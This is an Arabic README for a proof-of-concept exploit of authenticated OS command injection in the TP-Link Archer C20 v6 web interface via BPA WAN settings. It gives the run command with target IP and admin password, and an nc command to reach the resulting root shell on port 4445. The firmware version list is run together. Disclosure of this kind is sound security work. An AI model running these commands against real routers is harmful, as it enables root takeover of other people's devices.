
استغلال إثبات المفهوم لحقن أوامر نظام التشغيل بعد المصادقة في واجهة إدارة الويب لجهاز TP-Link Archer C20 v6، وينفّذ أوامر بصلاحيات الجذر عبر إعداد BPA WAN على الشبكة المحلية (LAN).
حقن أوامر نظام التشغيل بعد المصادقة في واجهة إدارة الويب الخاصة بجهاز TP-Link Archer C20 v6.
يتم تمرير قيم إعدادات BPA WAN إلى system() دون تحييدٍ كافٍ، مما يسمح لمسؤول مصادَق على الشبكة المجاورة بتنفيذ أوامر بصلاحيات root.
تم الاكتشاف والإبلاغ بواسطة Daniil Gordeev (totekuh).
0.9.1 Build 2608110.9.1 Build 2608120.9.1 Build 260812requests وpycryptodomepython3 -m pip install requests pycryptodome
python3 bpa-poc.py --target 192.168.0.1 --password '<admin-password>'
nc 192.168.0.1 4445
استخدم --list-only لتعداد حالات WAN دون تشغيل حقن الأوامر.